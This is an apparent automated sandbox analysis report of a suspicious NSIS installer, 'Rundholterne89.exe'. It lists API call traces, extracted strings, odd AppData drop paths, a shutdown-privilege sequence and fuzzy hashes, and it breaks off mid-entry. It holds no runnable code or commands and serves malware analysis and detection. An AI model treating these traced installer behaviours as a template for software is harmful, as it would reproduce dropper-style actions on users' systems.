Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

OleUninitialize.OLE32(?), ref: 0040340C
ExitProcess.KERNEL32 ref: 0040342D
GetCurrentProcess.KERNEL32(00000028,?), ref: 0040354A
OpenProcessToken.ADVAPI32(00000000), ref: 00403551
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403569
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403588
ExitWindowsEx.USER32(00000002,80040002), ref: 004035AC
ExitProcess.KERNEL32 ref: 004035CF

Part of subcall function 00405525: MessageBoxIndirectA.USER32(00409218), ref: 00405580

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004032DD, 004033DE, 00403488, 00403491
C:\Users\user\AppData\Local\Temp\, xrefs: 004032ED, 004032F2, 00403308, 00403314, 00403323, 00403330, 0040333C, 00403344, 0040343D, 0040344E, 00403459, 00403465, 00403472, 00403481, 00403530
Low, xrefs: 0040332B
", xrefs: 00403220
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004033E9
TMP, xrefs: 00403345
Error launching installer, xrefs: 004033C4
SeShutdownPrivilege, xrefs: 00403563
Hermandas Setup, xrefs: 004031B3
UXTHEME, xrefs: 00403157, 0040315C, 00403162
TEMP, xrefs: 0040333D
.tmp, xrefs: 00403454
~nsu, xrefs: 00403438
C:\Users\user\Desktop, xrefs: 0040345F, 00403464, 00403490
\Temp, xrefs: 0040330F
`KNw, xrefs: 00403336
C:\Users\user\Desktop\Rundholterne89.exe, xrefs: 004034EA
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 004031C3, 004031C9, 00403382
1033, xrefs: 00403359
NSIS Error, xrefs: 004031AE

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\Rundholterne89.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\Desktop$C:\Users\user\Desktop\Rundholterne89.exe$Error launching installer$Hermandas Setup$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`KNw$~nsu
API String ID: 3329125770-3009530420
Opcode ID: dcb38b1e2b76dc19c0501d8e0158ad62898b17a6a9361bfb335ac8dc35fe19f6
Instruction ID: 749ed98c63e487a66f460374afa67f5348490bcf6ac540fe4d7c6930d14d49f5
Opcode Fuzzy Hash: dcb38b1e2b76dc19c0501d8e0158ad62898b17a6a9361bfb335ac8dc35fe19f6
Instruction Fuzzy Hash: E1C105306086416AE7216F61AC4DA6F3EACEF46706F04457FF541BA1E3C77C9A058B2E

Function 004048C5 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048DD
GetDlgItem.USER32(?,00000408), ref: 004048E8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404932
LoadBitmapA.USER32(0000006E), ref: 00404945
SetWindowLongA.USER32(?,000000FC,00404EBC), ref: 0040495E
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404972
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404984
SendMessageA.USER32(?,00001109,00000002), ref: 0040499A
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004049A6
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004049B8
DeleteObject.GDI32(00000000), ref: 004049BB
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049E6
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049F2
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A87
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404AB2
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AC6
GetWindowLongA.USER32(?,000000F0), ref: 00404AF5
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B03
ShowWindow.USER32(?,00000005), ref: 00404B14
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404C11
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C76
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C8B
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404CAF
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404CCF
ImageList_Destroy.COMCTL32(?), ref: 00404CE4
GlobalFree.KERNEL32(?), ref: 00404CF4
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D6D
SendMessageA.USER32(?,00001102,?,?), ref: 00404E16
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E25
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E45
ShowWindow.USER32(?,00000000), ref: 00404E93
GetDlgItem.USER32(?,000003FE), ref: 00404E9E
ShowWindow.USER32(00000000), ref: 00404EA5

Strings

, xrefs: 00404E7D
N, xrefs: 00404B4F
M, xrefs: 00404A6E

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction ID: ee94c2e81ac7fcd3d2633371b1ae487f30220c2a0e0de663c2dd45f1c85c3c3c
Opcode Fuzzy Hash: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction Fuzzy Hash: D70262B0A00209AFEB20DF55DC45AAE7BB5FB84315F14413AF610BA2E1C7799D51CF58

Function 00405D51 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,00429048,00000000,00404F80,00429048,00000000), ref: 00405E02
GetSystemDirectoryA.KERNEL32(C:\Users\user\Stanglorgnet.bro,00000400), ref: 00405E7D
GetWindowsDirectoryA.KERNEL32(C:\Users\user\Stanglorgnet.bro,00000400), ref: 00405E90
SHGetSpecialFolderLocation.SHELL32(?,0041C205), ref: 00405ECC
SHGetPathFromIDListA.SHELL32(0041C205,C:\Users\user\Stanglorgnet.bro), ref: 00405EDA
CoTaskMemFree.OLE32(0041C205), ref: 00405EE5
lstrcatA.KERNEL32(C:\Users\user\Stanglorgnet.bro,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F07
lstrlenA.KERNEL32(C:\Users\user\Stanglorgnet.bro,?,00429048,00000000,00404F80,00429048,00000000), ref: 00405F59

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F01
C:\Users\user\Stanglorgnet.bro, xrefs: 00405D78, 00405E4A, 00405E67, 00405E7C, 00405E8F, 00405EAB, 00405ED6, 00405F06, 00405F0C, 00405F24, 00405F37, 00405F52, 00405F58, 00405F63, 00405F8D
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E4C

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: C:\Users\user\Stanglorgnet.bro$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1361145835
Opcode ID: 672f3ffac8e58b905acbb07927a48302432eebfa17072ae61d639ec34a28093f
Instruction ID: d2d5afd6cadd1c558da9919d7f7a0e519c97b97f5b6dedc277a7ce0050389877
Opcode Fuzzy Hash: 672f3ffac8e58b905acbb07927a48302432eebfa17072ae61d639ec34a28093f
Instruction Fuzzy Hash: 99610671A04916ABEF216B24DC85BBF7BA8DB15314F10813BE941BA2D1D33C4942DF9E

Function 004055D1 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055FA
lstrcatA.KERNEL32(0042A870,\*.*,0042A870,?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405642
lstrcatA.KERNEL32(?,00409014,?,0042A870,?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405663
lstrlenA.KERNEL32(?,?,00409014,?,0042A870,?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405669
FindFirstFileA.KERNEL32(0042A870,?,?,?,00409014,?,0042A870,?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040567A
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405727
FindClose.KERNEL32(00000000), ref: 00405738

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004055DE
\*.*, xrefs: 0040563C
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 004055D1

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3741676201
Opcode ID: 2b7e5661b8b3b760765e09419aafe74f52747e63502cbb40739d7b63bde2251d
Instruction ID: d14c28ea715dd5a13497ef66355ac6b33f8f035006b682f92d24d725560d25e8
Opcode Fuzzy Hash: 2b7e5661b8b3b760765e09419aafe74f52747e63502cbb40739d7b63bde2251d
Instruction Fuzzy Hash: 0D51CF30800A44AADF21AB258C85BBF7AB8DF92754F54447BF404761D2D73C8982EE6E

Function 00406033 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(774D3410,0042B0B8,0042AC70,004058D2,0042AC70,0042AC70,00000000,0042AC70,0042AC70,774D3410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,774D3410,C:\Users\user\AppData\Local\Temp\), ref: 0040603E
FindClose.KERNEL32(00000000), ref: 0040604A

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction ID: 8bfbb141000912a81af5c8de5ce039a851029b32224eb031c3a4159cf0b452c4
Opcode Fuzzy Hash: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction Fuzzy Hash: 11D0123195D1205BC31167387D0C88B7B599B163317518A33B56AF12F0C7349C6686EE

Function 00403A41 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A7D
ShowWindow.USER32(?), ref: 00403A9A
DestroyWindow.USER32 ref: 00403AAE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403ACA
GetDlgItem.USER32(?,?), ref: 00403AEB
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403AFF
IsWindowEnabled.USER32(00000000), ref: 00403B06
GetDlgItem.USER32(?,00000001), ref: 00403BB4
GetDlgItem.USER32(?,00000002), ref: 00403BBE
SetClassLongA.USER32(?,000000F2,?), ref: 00403BD8
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C29
GetDlgItem.USER32(?,00000003), ref: 00403CCF
ShowWindow.USER32(00000000,?), ref: 00403CF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D02
EnableWindow.USER32(?,?), ref: 00403D1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D33
EnableMenuItem.USER32(00000000), ref: 00403D3A
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D52
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D65
lstrlenA.KERNEL32(00429868,?,00429868,Hermandas Setup), ref: 00403D8E
SetWindowTextA.USER32(?,00429868), ref: 00403D9D
ShowWindow.USER32(?,0000000A), ref: 00403ED1

Strings

Hermandas Setup, xrefs: 00403D7F

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Hermandas Setup
API String ID: 3282139019-232963439
Opcode ID: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction ID: 4996b7fab7fdeaebc033b1676f4cae353b3174fabf4a12f0715eb1af02f584c4
Opcode Fuzzy Hash: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction Fuzzy Hash: 74C1B131A04205ABDB216F62ED85E2B7EBCFB4570AF40053EF501B11E1C739A942DB6E

Function 004036AF Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

lstrcatA.KERNEL32(1033,00429868,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429868,00000000,00000002,774D3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rundholterne89.exe",00000000), ref: 0040372A
lstrlenA.KERNEL32(C:\Users\user\Stanglorgnet.bro,?,?,?,C:\Users\user\Stanglorgnet.bro,00000000,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,1033,00429868,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429868,00000000,00000002,774D3410), ref: 0040379F
lstrcmpiA.KERNEL32(?,.exe), ref: 004037B2
GetFileAttributesA.KERNEL32(C:\Users\user\Stanglorgnet.bro), ref: 004037BD
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian), ref: 00403806

Part of subcall function 00405C8D: wsprintfA.USER32 ref: 00405C9A

RegisterClassA.USER32(0042DBA0), ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403890
ShowWindow.USER32(00000005,00000000), ref: 004038C6
GetClassInfoA.USER32(00000000,RichEdit20A,0042DBA0), ref: 004038F2
GetClassInfoA.USER32(00000000,RichEdit,0042DBA0), ref: 004038FF
RegisterClassA.USER32(0042DBA0), ref: 00403908
DialogBoxParamA.USER32(?,00000000,00403A41,00000000), ref: 00403927

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 00403739, 00403741, 004037D9, 004037DF, 004037EF
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B4
_Nb, xrefs: 00403822, 0040388A
C:\Users\user\Stanglorgnet.bro, xrefs: 0040376D, 00403775, 00403782, 004037CC, 004037D2
RichEd20, xrefs: 004038CC
RichEd32, xrefs: 004038DA
RichEdit20A, xrefs: 004038EA, 004038F0
.DEFAULT\Control Panel\International, xrefs: 00403715
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
.exe, xrefs: 004037AC
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 004036B3
RichEdit, xrefs: 004038F9
1033, xrefs: 004036CF, 00403725

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\Stanglorgnet.bro$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-529818883
Opcode ID: 394e4bb129311e5b6d6d20aedec098417f6b3d3145e2df1ac527dc8f8ff082cb
Instruction ID: 60e5f6254d87716c4f77e59e0de616dae33e132719ef70849b8472436850552a
Opcode Fuzzy Hash: 394e4bb129311e5b6d6d20aedec098417f6b3d3145e2df1ac527dc8f8ff082cb
Instruction Fuzzy Hash: 4161E6B07442006EE620BF269C85F373EACEB45749F50443FF945B62E2C67CAD429A2D

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Rundholterne89.exe,00000400), ref: 00402C93

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

GetFileSize.KERNEL32(00000000,00000000,00436000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rundholterne89.exe,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 00402CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D
soft, xrefs: 00402D54
Inst, xrefs: 00402D4B
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
Null, xrefs: 00402D5D
C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC
Error launching installer, xrefs: 00402CB6
C:\Users\user\Desktop\Rundholterne89.exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 00402C66

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Rundholterne89.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-1477234186
Opcode ID: 5f7c5d9e77a9b9c73338c6d1e92cd20f3f30bb0dbb8c708eeee72798782a561c
Instruction ID: 2dd8a40a4a6da4a25a7ff80ffc2ca296f3ca1cc65932c4217ff60142993c7b59
Opcode Fuzzy Hash: 5f7c5d9e77a9b9c73338c6d1e92cd20f3f30bb0dbb8c708eeee72798782a561c
Instruction Fuzzy Hash: 9651F771940214ABDF20AF65DE89B9E7AA8EF04714F54803BF504B72D2C7BC9D418BAD

Function 00402E9F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F06
GetTickCount.KERNEL32 ref: 00402FAD
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402FD6
wsprintfA.USER32 ref: 00402FE6

Strings

DwA, xrefs: 00402F73, 00402F85
DA, xrefs: 00403060
DA, xrefs: 00402F5C
... %d%%, xrefs: 00402FE0

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
